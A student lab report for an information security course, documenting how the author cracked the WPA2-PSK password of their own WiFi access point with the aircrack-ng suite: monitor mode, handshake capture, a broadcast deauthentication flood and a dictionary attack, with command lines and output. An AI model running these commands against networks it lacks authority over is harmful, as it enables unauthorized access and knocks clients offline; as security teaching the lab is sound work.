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Laboratory Nº4 Report

Discipline: Information Security

Theme: 802.11 WEP and WPA-PSK keys cracking program AirCrack

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802.11 WEP and WPA-PSK keys cracking program AirCrack

Aircrack-ng is an 802.11 WEP and WPA-PSK keys cracking program that can recover keys once enough data packets have been captured.

1.1 Objectives

After completing this module you will be able to:

- 1. Explore WiFi nets with a set of tools for auditing wireless networks;
- 2. Capture and analyse WiFi traffic;
- 3. Perform password-cracking attacks on WEP/WPA/WPA2 PSK.

1.2 Task

1.2.1 Study

- 1. The core utilities airmon-ng, airodump-ng, aireplay-ng, aircrack-ng;
- 2. Start a monitor mode on your wireless card;
- 3. Launch airodump, study its output and file format.

1.2.2 Exercises

Crack a WPA2 PSK WiFi net (see REFERENCE)

- 1. Start monitor using airmon-ng;
- 2. Start capture and analyse WiFi traffic airdump-ng;
- 3. Use aireplaying to deauthenticate the wireless client (if needed);
- 4. Perform a dictionary attack.

OPTIONAL Crack WEP (see REFERENCE)

Work Progress

2.1 Study

2.1.1 The core utilities – airmon-ng, airodump-ng, aireplay-ng, aircrack-ng

- · aircrack-ng complete suite of tools to assess WiFi network security;
 - Monitoring: Packet capture and export of data to text files for further processing by third party tools.
 - Attacking: Replay attacks, deauthentication, fake access points and others via packet injection.
 - Testing: Checking WiFi cards and driver capabilities (capture and injection).
 - Cracking: WEP and WPA PSK (WPA 1 and 2).
- airodump-ng packet capturing of raw 802.11 frames;
- aireplay-ng used to inject frames(for example send DeAuth frames);
- airmon-ng enabling monitor mode on wireless interfaces.

2.1.2 Start a monitor mode on your wireless card

2.1.3 Launch airodump, study its output and file format

Done in **Exercises** section.

2.2 Exercises

In this work experiments were conducted with a personal wifi access point.

ESSID - PLAZMA PASSWORD - myTestPassword

Also, the work was done on a real linux system - kali linux 2017.3 release.

2.2.1 Start monitor using airmon-ng

This mode allows the adapter to see all the wireless traffic (or rather not discard its own packets), which is physically accessible to it.

Entering the airmon-ng command without parameters will show the interfaces status.

```
root@DESKTOP-E155IRT:~# airmon-ng
PHY Interface Driver Chipset
phy0 wlan0 rt2800pci Ralink corp. RT5392 PCIe Wireless Network Adapter

Listing 2.1: interfaces status
```

Now turn on the monitor of interface wlan0.

```
root@DESKTOP-E155IRT:~# airmon-ng start wlan0
2
   Found 3 processes that could cause trouble.
   If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to run 'airmon-ng check kill'
4
 5
      PID Name
8
     605 NetworkManager
9
      644 wpa_supplicant
10
      712 dhclient
11
   PHY Interface
                    Driver
                                Chipset
12
13
14
   phy0
                        rt2800pci
                                    Ralink corp. RT5392 PCle Wireless Network Adapter
            wlan0
15
            16
17
```

Listing 2.2: turn on interface

airmon-ng found 3 other processes that use that interface, but after this command airmon-ng detach them and switch wlan0 into monitor mode. Let's check statuses again.

```
1 root@DESKTOP-E155IRT:~/Desktop/logFOlder# airmon-ng
2 PHY Interface Driver Chipset
4 phy0 wlan0mon rt2800pci Ralink corp. RT5392 PCIe Wireless Network Adapter
Listing 2.3: interfaces status
```

Interface name changed into wlan0mon.

2.2.2 Start capture and analyse WiFi traffic airdump-ng

The airodump-ng command allows capture all physically available traffic and recognize networks, channels, access points and clients.

```
root@DESKTOP-E155IRT:~/Desktop/logFOlder# airodump-ng wlan0mon
2
3
    [CH 8] [ Elapsed: 48 s ] [ 2017-12-02 09:10
5
6
7
     BSSID
                                                               MB
                          PWR
                                Beacons
                                             #Data, #/s
                                                          CH
                                                                     ENC
                                                                          CIPHER AUTH ESSID
                                                               54e
     2C:56:DC:41:FC:30
                                      34
                                                  5
                                                       0
                                                            6
                                                                     WPA2 CCMP
                                                                                   PSK
                                                                                        PLAZMA
8
     00:21:91:F6:30:2F
                                                  0
                                                           12
                                                               54 .
                                                                     WPA2 CCMP
                          -61
                                      58
                                                       0
                                                                                   PSK
                                                                                         anna
     96:44:44:F8:29:E7
                                                                                        DIRECT-AP[TV][
9
                                      35
                                                               54e
                                                                     WPA2 CCMP
                                                                                   PSK
                           -63
                                                  0
                                                       0
                                                            1
        E8:37:7A:90:F9:FE
10
                          -68
                                      20
                                                  0
                                                               54e
                                                                     WPA2 CCMP
                                                                                   PSK
                                                       0
                                                            4
                                                                                         Eldar_WIFI
     4E:5D:4E:9A:01:78
11
                           -69
                                      37
                                                  0
                                                           11
                                                               54e
                                                                     WPA2 CCMP
                                                                                   PSK
         → ZyXEL_KEENETIC_GIGA_9A0178
     C8:D3:A3:E8:27:13
                                                               54e WPA2 CCMP
12
                                                  0
                                                       0
                                                            6
                                                                                   PSK Mikluha
                          -72
13
14
     BSSID
                           STATION
                                                PWR
                                                       Rate
                                                                 Lost
                                                                          Frames
                                                                                   Probe
15
     2C:56:DC:41:FC:30
2C:56:DC:41:FC:30
2C:56:DC:41:FC:30
                           34:F6:4B:36:FD:3F
                                                -36
                                                        0 - 1
                                                                     0
16
                           00:04:4B:2C:E4:9C
00:24:2B:EE:03:2B
17
                                                -40
                                                        0 - 24
                                                                     0
                                                                               5
                                                                                   PLAZMA
                                                -56
                                                                               3
18
                                                       54e- 1
                                                                     0
     00:21:91:F6:30:2F
                                                -54
                                                                             152
                           94:44:44:F8:A9:E7
                                                                   283
    Listing 2.4: starting airodump-ng
```

All visible access points are shown at the top of the listing, and the connected clients are at the bottom. My target AP is **PLAZMA** with bssid **2C:56:DC:41:FC:30**.

Now we can run airodump-ng with the tracking parameters of this particular network.

```
root@DESKTOP-E155IRT:~/Desktop/test# airodump-ng -c 6 —bssid 2C:56:DC:41:FC:30 -w

→ WPAcrack wlan0mon —ignore-negative-one

Listing 2.5: starting getting handshake
```

- -c wireless network channel;
- -bssid MAC address of the access point;
- -w the prefix of the file to which the handshake will be recorded;
- · wlan0mon network Interface;
- **-ignore-negative-one** removes 'fixed channel: -1' messages.

Adter executing this command, we see interface where can see target AP, AP clients and handshake info.

```
CH 6 | Elapsed: 1 min | 2017-12-02 09:25 |
123456789
     BSSID
                            PWR RXQ
                                       Beacons
                                                     #Data, #/s
                                                                   CH
                                                                        MB
                                                                              ENC CIPHER AUTH ESSID
     2C:56:DC:41:FC:30
                            -61 100
                                            985
                                                       978
                                                                \cap
                                                                     6
                                                                        54e
                                                                              WPA2 CCMP
                                                                                             PSK PLAZMA
     BSSID
                            STATION
                                                   PWR
                                                           Rate
                                                                     Lost
                                                                              Frames
                                                                                        Probe
     2C:56:DC:41:FC:30
2C:56:DC:41:FC:30
2C:56:DC:41:FC:30
                                                                          0
                                                                                 1001
                            34:F6:4B:36:FD:3F
                                                    -40
                                                            0e- 1e
                            00:04:4B:2C:E4:9C
10
                                                    -42
                                                            1e - 24
                                                                          0
                                                                                   68
                            00:24:2B:EE:03:2B
                                                   -60
                                                                         0
                                                                                   34
                                                            1e - 1
    Listing 2.6: traffic collection
```

Now need to wait while airodump-ng getting a handshake.

2.2.3 Use aireplay-ng to deauthenticate the wireless client

To capture an encrypted password, we must have client authentication on the access point. If the user has already passed authentication, then we need to deauthenticate it and then the system will automatically re-authenticate, and at that moment we can intercept the required package.

To perform this trick we need to send client a message that he is no longer connected to the access point.

```
root@DESKTOP-E155IRT:~# aireplay-ng --deauth 100 -a 2C:56:DC:41:FC:30 wlan0mon --ignore-

→ negative—one

   09:19:29
              Waiting for beacon frame (BSSID: 00:21:91:F6:30:2F) on channel 12
2
3
   NB: this attack is more effective when targeting
   a connected wireless client (-c <client's mac>)
   09:19:29
                                                      [2C:56:DC:41:FC:30]
5
              Sending DeAuth to broadcast —
                                             - BSSID:
   09:19:30
              Sending DeAuth to broadcast — BSSID:
                                                      [2C:56:DC:41:FC:30]
6
                                                      [2C:56:DC:41:FC:30]
7
   09:19:30
              Sending DeAuth to broadcast — BSSID:
                                                      [2C:56:DC:41:FC:30]
[2C:56:DC:41:FC:30]
8
   09:19:31
              Sending DeAuth to broadcast — BSSID:
9
   09:19:31
              Sending DeAuth to broadcast — BSSID:
   09:19:32
                                                      [2C:56:DC:41:FC:30]
10
              Sending DeAuth to broadcast — BSSID:
   09:19:32
              Sending DeAuth to broadcast — BSSID:
                                                      [2C:56:DC:41:FC:30]
11
   09:19:32
              Sending DeAuth to broadcast — BSSID:
                                                      [2C:56:DC:41:FC:30]
12
   09:19:33
              Sending DeAuth to broadcast — BSSID:
                                                      [2C:56:DC:41:FC:30]
13
   09:19:33
                                                      [2C:56:DC:41:FC:30]
              Sending DeAuth to broadcast — BSSID:
14
15 | 09:19:34
              Sending DeAuth to broadcast — BSSID:
                                                      [2C:56:DC:41:FC:30]
16 | 09:19:34
              Sending DeAuth to broadcast — BSSID: [2C:56:DC:41:FC:30]
```

```
17 | 09:19:35 | Sending DeAuth to broadcast — BSSID: [20:56:D0:41:F0:30] | 18 | 09:19:35 | Sending DeAuth to broadcast — BSSID: [20:56:D0:41:F0:30] | ...
```

Listing 2.7: sending DeAuth messages

-deauth 100 means how many DeAuth need to send.

At this time, in the traffic collection window, the message WPA handshake appears in the upper right corner. the right package is caught

```
CH 6 | Elapsed: 1 min | 2017-12-02 09:25 | WPA handshake: 2C:56:DC:41:FC:30
123456789
     BSSID
                            PWR RXQ Beacons
                                                    #Data, #/s CH
                                                                      MB
                                                                             ENC CIPHER AUTH ESSID
     2C:56:DC:41:FC:30
                            -61 100
                                            985
                                                      978
                                                               0
                                                                       54e
                                                                             WPA2 CCMP
                                                                                           PSK PLAZMA
     BSSID
                            STATION
                                                  PWR
                                                          Rate
                                                                   Lost
                                                                             Frames Probe
     2C:56:DC:41:FC:30
2C:56:DC:41:FC:30
2C:56:DC:41:FC:30
                                                   -40
                                                           0e- 1e
                                                                               1001
                            34:F6:4B:36:FD:3F
                                                                        \Omega
                            00:04:4B:2C:E4:9C
10
                                                           1e-24
                                                   -42
                                                                                  68
                                                                        \Omega
                            00:24:2B:EE:03:2B
                                                           1e- 1
                                                                        0
                                                                                  34
                                                   -60
    Listing 2.8: traffic collection
```

The disabled user successfully reconnected, and was received handshake, that was saved into file named **WPAcrack-01.cap**.

2.2.4 Perform a dictionary attack

Now we can run aircrack-ng with a database of common passwords. before experiments, a real WIDI password was added to the password database.

```
root@DESKTOP-E155IRT:~/Desktop/test# aircrack-ng WPAcrack-01.cap -w /usr/share/dict/
       ∽ cracklib—small
2
4
5
6
7
                                     Aircrack-ng 1.2 rc4
          [00:00:05] 23440/29318 keys tested (4450.49 k/s)
8
          Time left: 1 second
                                                                       79.95%
9
10
                          KEY FOUND! [ myTestPassword ]
11
12
13
                           83 41 A0 BD FE AA D7 B1 13 AF 34 05 37 D5 0F F6
          Master Key
14
                           AC DC 35 71 05 62 0F 68 C3 F1 F0 8E 1C 30 82 4A
15
                           33 87 5C 60 B5 47 92 3E 1A 1A AD E2 33 67 99 B6
16
17
                            CE 4C 65 D6 18 11 7B A4 11 BF FC 61 76 AC A8 2E
                            F8 85 A5 1E BB F1 D5 AC B0 EF BC AD 76
                                                                    7D 8F EB
18
                               19 CB EA 58 75 BB 42 BE B8 CF
19
                                                              22 OE OD BD
20
          EAPOL HMAC
                          : ED 91 19 D1 78 77 DD CC 19 CD C8 7F 77 1B 99 0A
    Listing 2.9: traffic collection
```

As expected aircrack found my password.

Conclusion

Ensuring the security of a wireless network is difficult. At the moment, wep2 networks are the most common, to be safe they require fairly long and complex (not dictionary) passwords. But even this may not help, because there is a WPS vulnerability (which is often enabled by default in new routers). With WPS vulnerability, i was also able to crack the password of the router, but that's another story altogether.